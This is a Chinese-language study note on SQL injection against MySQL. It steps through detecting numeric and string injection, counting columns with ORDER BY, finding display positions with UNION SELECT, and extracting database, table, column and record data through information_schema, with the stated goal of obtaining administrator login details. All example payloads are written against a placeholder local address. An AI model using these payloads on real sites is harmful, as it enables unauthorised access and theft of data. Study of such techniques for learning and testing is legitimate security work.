SQL注入原理
步骤 1. 通过特殊的数据库查询语句 2. 在数据库的错误返回中找到sql漏洞 3. 利用sql语句猜解管理人员信息并登陆管理员后台
判断注入类型
下面提到的是数字型和字符型的注入, sql注入还有基于报错型SQL注入、基于布尔/时间的SQL注入、可联合查询的SQL注入
判断数字型注入url为 http://192.168.1.1/search?id=1 and 1 = 1 时, 没有报错, 除非在代码处做了限制(不允许有and字符串)
url为 http://192.168.1.1/search?id=1 and 1 = 2 时, 由于1=2不成立, 也会报错
判断字符型注入
url同样为 http://192.168.1.1/search?id=1'时, 数据库认为id叫做“1'”,查询之后发现没有这个id而返回错误.
==在字符型注入中,需要考虑引号的闭合==
http://192.168.1.1/search?id=1' and '1'='1 在'1'='1 之后没有加上'是因为传参时输入的内容已经被' '包围.
判断后台查询列数
使用order by 试出数据库列数 http://192.168.1.1/search?id=1' order by 数字 如果试6时返回错误, 5时正确.那么列数为5
找显示位
使用union select找出会返回给客户端并显示的列. 如果有5列时,应该这么写http://192.168.1.1/search?id=1 union select 1,2,3,4,5
加入显示位是5,这就意味着数据库之开放了“5”这个窗口用以显示,那么在查询其他信息(如数据库名)时应该用需要查询到信息替换它来显示这些信息
查库名联合查询: select database();
假如显示位是5, http://192.168.1.1/search?id=1 union select 1,2,3,4,database()
- 盲注使用其他方法 (还没学到这里,到时候补充)
查表名
找到库名之后 使用http://192.168.1.1/search?id=1 union select 1,2,3,4,table_name from information_schema.tables where table_schema='库名'
==如果是字符型,此处库名要转换成十六进制==
information_schema
这是一个mysql自带的库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,故我们需要查询这个库
查列名
http://192.168.1.1/search?id=1 union select 1,2,3,4,column_name from information_schema.columns where table_name='表名'
==如果是字符型,此处表名要转换成十六进制==
如果表数或列数过多,可以在最后使用limit
加上limit 0,5 相当于检索1-5条
查具体数据
http://192.168.1.1/search?id=1 union select 1,2,3,4,group_concat(查询的数据) from 表名